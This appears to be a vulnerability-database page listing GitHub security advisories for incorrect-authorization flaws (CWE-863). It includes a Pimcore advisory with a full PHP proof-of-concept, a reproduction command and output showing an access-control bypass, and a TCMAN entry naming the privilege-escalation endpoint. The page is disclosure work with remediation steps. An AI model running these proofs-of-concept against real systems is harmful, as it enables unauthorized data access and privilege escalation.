Common Weakness Enumeration

CWE-863

Allowed-with-Review

Incorrect Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.

5504 vulnerabilities reference this CWE, most recent first.

GHSA-JW59-9V6J-FPWH

Vulnerability from github – Published: 2022-11-01 12:00 – Updated: 2022-11-02 19:00
VLAI
Details

A remote unprivileged attacker can interact with the configuration interface of a Flexi-Compact FLX3-CPUC1 or FLX3-CPUC2 running an affected firmware version to potentially impact the availability of the FlexiCompact.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-27583"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-10-31T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A remote unprivileged attacker can interact with the configuration interface of a Flexi-Compact FLX3-CPUC1 or FLX3-CPUC2 running an affected firmware version to potentially impact the availability of the FlexiCompact.",
  "id": "GHSA-jw59-9v6j-fpwh",
  "modified": "2022-11-02T19:00:30Z",
  "published": "2022-11-01T12:00:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-27583"
    },
    {
      "type": "WEB",
      "url": "https://sick.com/psirt"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JW62-3VW4-M49F

Vulnerability from github – Published: 2022-03-31 00:00 – Updated: 2022-04-06 00:01
VLAI
Details

In PackageManager, there is a possible way to change the splash screen theme of other apps due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-206474016

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-39750"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-30T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "In PackageManager, there is a possible way to change the splash screen theme of other apps due to a missing permission check. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-12LAndroid ID: A-206474016",
  "id": "GHSA-jw62-3vw4-m49f",
  "modified": "2022-04-06T00:01:54Z",
  "published": "2022-03-31T00:00:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39750"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/android-12l"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JW87-V85H-8H3X

Vulnerability from github – Published: 2022-01-11 00:00 – Updated: 2022-07-13 00:01
VLAI
Details

An issue was discovered in dst-admin v1.3.0. The product has an unauthorized arbitrary file download vulnerability that can expose sensitive information.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-44586"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-10T15:15:00Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in dst-admin v1.3.0. The product has an unauthorized arbitrary file download vulnerability that can expose sensitive information.",
  "id": "GHSA-jw87-v85h-8h3x",
  "modified": "2022-07-13T00:01:49Z",
  "published": "2022-01-11T00:00:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-44586"
    },
    {
      "type": "WEB",
      "url": "https://github.com/qinming99/dst-admin/issues/28"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JW8P-XR8R-2W5H

Vulnerability from github – Published: 2025-06-09 15:31 – Updated: 2025-10-06 21:30
VLAI
Details

Incorrect authorization vulnerability in TCMAN's GIM v11. This vulnerability allows an unprivileged attacker to create a user and assign it many privileges by sending a POST request to /PC/frmGestionUser.aspx/updateUser.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-40670"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-09T13:15:22Z",
    "severity": "HIGH"
  },
  "details": "Incorrect authorization vulnerability in TCMAN\u0027s GIM v11. This vulnerability allows an unprivileged attacker to create a user and assign it many privileges by sending a POST request to /PC/frmGestionUser.aspx/updateUser.",
  "id": "GHSA-jw8p-xr8r-2w5h",
  "modified": "2025-10-06T21:30:44Z",
  "published": "2025-06-09T15:31:42Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-40670"
    },
    {
      "type": "WEB",
      "url": "https://www.incibe.es/en/incibe-cert/notices/aviso/multiple-vulnerabilities-tcman-gim-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JWCC-GV4M-93X6

Vulnerability from github – Published: 2026-05-27 22:34 – Updated: 2026-07-10 19:07
VLAI
Summary
Pimcore has a CustomReports Share Bypass
Details

Summary

CustomReports uses inconsistent authorization between the report listing endpoint and the report detail endpoint.

  • The listing flow filters reports based on report-sharing rules
  • The detail flow only checks generic reports or reports_config permissions

As a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user's visible report list.

In the local Docker reproduction:

  • The report poc-secret-report was not visible to the low-privileged user in the report list
  • The same user was still able to retrieve the report configuration directly by name

Root Cause

The listing flow in getReportConfigAction() filters reports through loadForGivenUser():

However, getAction() only checks generic permissions and then loads the report directly by name:

This means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic "not visible in list, but readable by direct request" access-control bypass.

Impact

An attacker can read sensitive report metadata without authorization, including:

  • Report name
  • Grouping information
  • Display and icon metadata
  • Data source configuration
  • Column configuration
  • Sharing settings

From the source code, other report endpoints such as data, chart, create-csv, and download-csv also resolve reports by name in a similar way:

This report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.

Preconditions

  • The attacker is an authenticated backend user
  • The attacker has the reports permission
  • The target report is not globally shared and is not shared with that user or the user's roles

PoC

<?php
declare(strict_types=1);

use Pimcore\Bundle\CustomReportsBundle\Controller\Reports\CustomReportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\User;
use Pimcore\Model\Tool\SettingsStore;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_customreports');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_customreports');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_customreports', 'auditor-pass'));
    $auditor->setPermissions(['reports']);
    $auditor->setRoles([]);
    $auditor->save();

    $timestamp = time();
    SettingsStore::set(
        'poc-secret-report',
        json_encode([
            'name' => 'poc-secret-report',
            'niceName' => 'PoC Secret Report',
            'group' => 'Audit',
            'dataSourceConfig' => [['type' => 'sql']],
            'columnConfiguration' => [],
            'shareGlobally' => false,
            'sharedUserNames' => ['admin'],
            'sharedRoleNames' => [],
            'menuShortcut' => true,
            'creationDate' => $timestamp,
            'modificationDate' => $timestamp,
        ], JSON_THROW_ON_ERROR),
        SettingsStore::TYPE_STRING,
        'pimcore_custom_reports'
    );

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new CustomReportController(), $container, $tokenResolver);

    $listRequest = new Request();
    $requestStack->push($listRequest);
    $listResponse = $controller->getReportConfigAction($listRequest);
    $requestStack->pop();
    $listData = json_decode($listResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $getRequest = new Request(['name' => 'poc-secret-report']);
    $requestStack->push($getRequest);
    $getResponse = $controller->getAction($getRequest);
    $requestStack->pop();
    $getData = json_decode($getResponse->getContent(), true, 512, JSON_THROW_ON_ERROR);

    $listedNames = array_map(static fn (array $item): string => $item['name'], $listData['reports'] ?? []);

    echo json_encode([
        'vulnerability' => 'customreports_share_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_report' => [
            'name' => 'poc-secret-report',
            'shared_to' => ['admin'],
            'share_globally' => false,
        ],
        'result' => [
            'report_visible_in_list' => in_array('poc-secret-report', $listedNames, true),
            'listed_report_names' => $listedNames,
            'direct_get_returned_name' => $getData['name'] ?? null,
            'direct_get_shared_user_names' => $getData['sharedUserNames'] ?? null,
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

  1. Create a low-privileged user named auditor_customreports with the reports permission.
  2. Create a report named poc-secret-report with:
  3. shareGlobally = false
  4. sharedUserNames = ['admin']
  5. As auditor_customreports, request the visible report list and verify that poc-secret-report is absent.
  6. As the same user, call getAction(name=poc-secret-report) directly.
  7. Verify that the response still contains the report configuration.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php poc_customreports.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "customreports_share_bypass",
  "user": {
    "name": "auditor_customreports",
    "permissions": [
      "reports"
    ]
  },
  "target_report": {
    "name": "poc-secret-report",
    "shared_to": [
      "admin"
    ],
    "share_globally": false
  },
  "result": {
    "report_visible_in_list": false,
    "listed_report_names": [],
    "direct_get_returned_name": "poc-secret-report",
    "direct_get_shared_user_names": [
      "admin"
    ]
  }
}

This shows that:

  • The current user cannot see the report in the visible report list
  • The same user can still retrieve the report configuration directly

This confirms that the share-bypass issue is practically exploitable.

Security Impact

  • Unauthorized disclosure of report configuration
  • Disclosure of sharing scope and internal report structure
  • Potential leakage of data-source and query organization details
  • Useful reconnaissance for follow-on unauthorized execution or export paths

Remediation

  1. Add object-level sharing checks to getAction() equivalent to loadForGivenUser().
  2. Centralize authorization into a single "can current user access this report?" function reused by get, data, chart, create-csv, and download-csv.
  3. Return 403 for unshared reports.
  4. Add regression tests to ensure that users with reports permission but without report-sharing access cannot retrieve report details.
Severity
7.1 (High)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 12.3.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "12.0.0-RC1"
            },
            {
              "fixed": "12.3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 11.5.16"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.5.17"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pimcore/pimcore"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2026.1.0"
            },
            {
              "fixed": "2026.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45704"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-27T22:34:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\n`CustomReports` uses inconsistent authorization between the report listing endpoint and the report detail endpoint.\n\n- The listing flow filters reports based on report-sharing rules\n- The detail flow only checks generic `reports` or `reports_config` permissions\n\nAs a result, a low-privileged backend user who was not granted access to a report can still read that report directly by name even though it does not appear in the user\u0027s visible report list.\n\nIn the local Docker reproduction:\n\n- The report `poc-secret-report` was not visible to the low-privileged user in the report list\n- The same user was still able to retrieve the report configuration directly by name\n\n### Root Cause\n\nThe listing flow in `getReportConfigAction()` filters reports through `loadForGivenUser()`:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L245)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)#L245)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L252)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L253)\n- [[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L44)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/[Config/Listing/Dao.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)#L44)\n- [Config/Listing/Dao.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Tool/Config/Listing/Dao.php#L52)\n\nHowever, `getAction()` only checks generic permissions and then loads the report directly by name:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L146)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L149)#L146)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)#L149)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L151)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L155)\n\nThis means the same report object is protected by different authorization models depending on which endpoint is used. The result is a classic \"not visible in list, but readable by direct request\" access-control bypass.\n\n### Impact\n\nAn attacker can read sensitive report metadata without authorization, including:\n\n- Report name\n- Grouping information\n- Display and icon metadata\n- Data source configuration\n- Column configuration\n- Sharing settings\n\nFrom the source code, other report endpoints such as `data`, `chart`, `create-csv`, and `download-csv` also resolve reports by name in a similar way:\n\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L275)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)#L275)\n- [[CustomReportController.php](https://github.com/pimcore/pimcore/security/advisories/pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L284)\n- [CustomReportController.php](pimcore-12.3.3/bundles/CustomReportsBundle/src/Controller/Reports/CustomReportController.php#L313)\n\nThis report only treats unauthorized report-config retrieval as reproduced. The other execution paths should be verified separately.\n\n### Preconditions\n\n- The attacker is an authenticated backend user\n- The attacker has the `reports` permission\n- The target report is not globally shared and is not shared with that user or the user\u0027s roles\n\n### PoC\n\n```php\n\u003c?php\ndeclare(strict_types=1);\n\nuse Pimcore\\Bundle\\CustomReportsBundle\\Controller\\Reports\\CustomReportController;\nuse Pimcore\\Controller\\UserAwareController;\nuse Pimcore\\Model\\User;\nuse Pimcore\\Model\\Tool\\SettingsStore;\nuse Pimcore\\Security\\User\\TokenStorageUserResolver;\nuse Pimcore\\Security\\User\\User as SecurityUser;\nuse Pimcore\\Serializer\\Serializer as PimcoreSerializer;\nuse Pimcore\\Tool\\Authentication;\nuse Symfony\\Component\\DependencyInjection\\ContainerInterface;\nuse Symfony\\Component\\HttpFoundation\\Request;\nuse Symfony\\Component\\HttpFoundation\\RequestStack;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken;\nuse Symfony\\Component\\Security\\Core\\Authentication\\Token\\Storage\\TokenStorage;\n\nrequire dirname(__DIR__) . \u0027/vendor/autoload.php\u0027;\n\ndefine(\u0027PIMCORE_PROJECT_ROOT\u0027, dirname(__DIR__));\n\ntry {\n    \\Pimcore\\Bootstrap::bootstrap();\n\n    $kernel = new \\App\\Kernel(\u0027dev\u0027, true);\n    \\Pimcore::setKernel($kernel);\n    $kernel-\u003eboot();\n\n    $container = $kernel-\u003egetContainer();\n\n    /** @var RequestStack $requestStack */\n    $requestStack = getService($container, [\n        RequestStack::class,\n        \u0027request_stack\u0027,\n    ]);\n\n    $admin = User::getByName(\u0027admin\u0027);\n    if (!$admin instanceof User) {\n        fail(\u0027admin user is missing\u0027);\n    }\n\n    $auditor = User::getByName(\u0027auditor_customreports\u0027);\n    if (!$auditor instanceof User) {\n        $auditor = new User();\n        $auditor-\u003esetParentId(0);\n        $auditor-\u003esetName(\u0027auditor_customreports\u0027);\n    }\n\n    $auditor-\u003esetAdmin(false);\n    $auditor-\u003esetActive(true);\n    $auditor-\u003esetPassword(Authentication::getPasswordHash(\u0027auditor_customreports\u0027, \u0027auditor-pass\u0027));\n    $auditor-\u003esetPermissions([\u0027reports\u0027]);\n    $auditor-\u003esetRoles([]);\n    $auditor-\u003esave();\n\n    $timestamp = time();\n    SettingsStore::set(\n        \u0027poc-secret-report\u0027,\n        json_encode([\n            \u0027name\u0027 =\u003e \u0027poc-secret-report\u0027,\n            \u0027niceName\u0027 =\u003e \u0027PoC Secret Report\u0027,\n            \u0027group\u0027 =\u003e \u0027Audit\u0027,\n            \u0027dataSourceConfig\u0027 =\u003e [[\u0027type\u0027 =\u003e \u0027sql\u0027]],\n            \u0027columnConfiguration\u0027 =\u003e [],\n            \u0027shareGlobally\u0027 =\u003e false,\n            \u0027sharedUserNames\u0027 =\u003e [\u0027admin\u0027],\n            \u0027sharedRoleNames\u0027 =\u003e [],\n            \u0027menuShortcut\u0027 =\u003e true,\n            \u0027creationDate\u0027 =\u003e $timestamp,\n            \u0027modificationDate\u0027 =\u003e $timestamp,\n        ], JSON_THROW_ON_ERROR),\n        SettingsStore::TYPE_STRING,\n        \u0027pimcore_custom_reports\u0027\n    );\n\n    $tokenResolver = buildTokenResolver($auditor);\n    $controller = wireController(new CustomReportController(), $container, $tokenResolver);\n\n    $listRequest = new Request();\n    $requestStack-\u003epush($listRequest);\n    $listResponse = $controller-\u003egetReportConfigAction($listRequest);\n    $requestStack-\u003epop();\n    $listData = json_decode($listResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $getRequest = new Request([\u0027name\u0027 =\u003e \u0027poc-secret-report\u0027]);\n    $requestStack-\u003epush($getRequest);\n    $getResponse = $controller-\u003egetAction($getRequest);\n    $requestStack-\u003epop();\n    $getData = json_decode($getResponse-\u003egetContent(), true, 512, JSON_THROW_ON_ERROR);\n\n    $listedNames = array_map(static fn (array $item): string =\u003e $item[\u0027name\u0027], $listData[\u0027reports\u0027] ?? []);\n\n    echo json_encode([\n        \u0027vulnerability\u0027 =\u003e \u0027customreports_share_bypass\u0027,\n        \u0027user\u0027 =\u003e [\n            \u0027id\u0027 =\u003e $auditor-\u003egetId(),\n            \u0027name\u0027 =\u003e $auditor-\u003egetName(),\n            \u0027permissions\u0027 =\u003e $auditor-\u003egetPermissions(),\n        ],\n        \u0027target_report\u0027 =\u003e [\n            \u0027name\u0027 =\u003e \u0027poc-secret-report\u0027,\n            \u0027shared_to\u0027 =\u003e [\u0027admin\u0027],\n            \u0027share_globally\u0027 =\u003e false,\n        ],\n        \u0027result\u0027 =\u003e [\n            \u0027report_visible_in_list\u0027 =\u003e in_array(\u0027poc-secret-report\u0027, $listedNames, true),\n            \u0027listed_report_names\u0027 =\u003e $listedNames,\n            \u0027direct_get_returned_name\u0027 =\u003e $getData[\u0027name\u0027] ?? null,\n            \u0027direct_get_shared_user_names\u0027 =\u003e $getData[\u0027sharedUserNames\u0027] ?? null,\n        ],\n    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;\n} catch (Throwable $e) {\n    fail(sprintf(\n        \u0027%s: %s in %s:%d%s\u0027,\n        $e::class,\n        $e-\u003egetMessage(),\n        $e-\u003egetFile(),\n        $e-\u003egetLine(),\n        $e-\u003egetTraceAsString() ? PHP_EOL . $e-\u003egetTraceAsString() : \u0027\u0027\n    ));\n}\n\nfunction wireController(\n    UserAwareController $controller,\n    ContainerInterface $container,\n    TokenStorageUserResolver $tokenResolver\n): UserAwareController\n{\n    $controller-\u003esetContainer($container);\n    $controller-\u003esetTokenResolver($tokenResolver);\n\n    if (method_exists($controller, \u0027setPimcoreSerializer\u0027)) {\n        /** @var PimcoreSerializer $serializer */\n        $serializer = getService($container, [\n            PimcoreSerializer::class,\n            \u0027Pimcore\\\\Serializer\\\\Serializer\u0027,\n        ]);\n        $controller-\u003esetPimcoreSerializer($serializer);\n    }\n\n    return $controller;\n}\n\nfunction buildTokenResolver(User $user): TokenStorageUserResolver\n{\n    $tokenStorage = new TokenStorage();\n    $proxyUser = new SecurityUser($user);\n    $token = new UsernamePasswordToken($proxyUser, \u0027pimcore_admin\u0027, $proxyUser-\u003egetRoles());\n    $tokenStorage-\u003esetToken($token);\n\n    return new TokenStorageUserResolver($tokenStorage);\n}\n\nfunction getService(ContainerInterface $container, array $ids): mixed\n{\n    foreach ($ids as $id) {\n        try {\n            if ($container-\u003ehas($id)) {\n                return $container-\u003eget($id);\n            }\n        } catch (Throwable) {\n        }\n    }\n\n    fail(\u0027Unable to resolve service: \u0027 . implode(\u0027, \u0027, $ids));\n}\n\nfunction fail(string $message): never\n{\n    fwrite(STDERR, $message . PHP_EOL);\n    exit(1);\n}\n\n```\n\n\n\n### Reproduction Steps\n\n1. Create a low-privileged user named `auditor_customreports` with the `reports` permission.\n2. Create a report named `poc-secret-report` with:\n   - `shareGlobally = false`\n   - `sharedUserNames = [\u0027admin\u0027]`\n3. As `auditor_customreports`, request the visible report list and verify that `poc-secret-report` is absent.\n4. As the same user, call `getAction(name=poc-secret-report)` directly.\n5. Verify that the response still contains the report configuration.\n\nReproduction command:\n\n```bash\ncd pimcore-12.3.3-repro\ndocker compose exec -T php php poc_customreports.php\n```\n\n### Reproduction Result\n\nRelevant PoC output:\n\n```json\n{\n  \"vulnerability\": \"customreports_share_bypass\",\n  \"user\": {\n    \"name\": \"auditor_customreports\",\n    \"permissions\": [\n      \"reports\"\n    ]\n  },\n  \"target_report\": {\n    \"name\": \"poc-secret-report\",\n    \"shared_to\": [\n      \"admin\"\n    ],\n    \"share_globally\": false\n  },\n  \"result\": {\n    \"report_visible_in_list\": false,\n    \"listed_report_names\": [],\n    \"direct_get_returned_name\": \"poc-secret-report\",\n    \"direct_get_shared_user_names\": [\n      \"admin\"\n    ]\n  }\n}\n```\n\nThis shows that:\n\n- The current user cannot see the report in the visible report list\n- The same user can still retrieve the report configuration directly\n\nThis confirms that the share-bypass issue is practically exploitable.\n\n### Security Impact\n\n- Unauthorized disclosure of report configuration\n- Disclosure of sharing scope and internal report structure\n- Potential leakage of data-source and query organization details\n- Useful reconnaissance for follow-on unauthorized execution or export paths\n\n### Remediation\n\n1. Add object-level sharing checks to `getAction()` equivalent to `loadForGivenUser()`.\n2. Centralize authorization into a single \"can current user access this report?\" function reused by `get`, `data`, `chart`, `create-csv`, and `download-csv`.\n3. Return `403` for unshared reports.\n4. Add regression tests to ensure that users with `reports` permission but without report-sharing access cannot retrieve report details.",
  "id": "GHSA-jwcc-gv4m-93x6",
  "modified": "2026-07-10T19:07:34Z",
  "published": "2026-05-27T22:34:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/security/advisories/GHSA-jwcc-gv4m-93x6"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/pull/19099"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/commit/1893ff1cd116e442b995ddf17e8c6e0aa372268e"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pimcore/pimcore"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pimcore/pimcore/releases/tag/v12.3.6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Pimcore has a CustomReports Share Bypass"
}

GHSA-JWF4-8WF4-JF2M

Vulnerability from github – Published: 2026-03-04 19:44 – Updated: 2026-03-18 21:52
VLAI
Summary
OpenClaw: BlueBubbles (optional plugin) pairing/allowlist mismatch when allowFrom is empty
Details

Summary

BlueBubbles is an optional OpenClaw channel plugin. A configuration-sensitive access-control mismatch allowed DM senders to be treated as authorized when dmPolicy was pairing or allowlist and allowFrom was empty/unset.

Severity Rationale (Medium)

Severity is set to medium because: - this affects an optional plugin, not core messaging surfaces; - many deployments use owner-controlled/private BlueBubbles identities with limited external reachability; - practical exploitability depends on an untrusted sender being able to reach that specific BlueBubbles account identifier.

In typical personal/self-hosted BlueBubbles setups, the mapped Apple identity is single-owner and not broadly reachable, so this is usually low practical risk.

Risk is higher in deployments where the identifier is publicly reachable and/or agent tool permissions are broad.

Technical Details

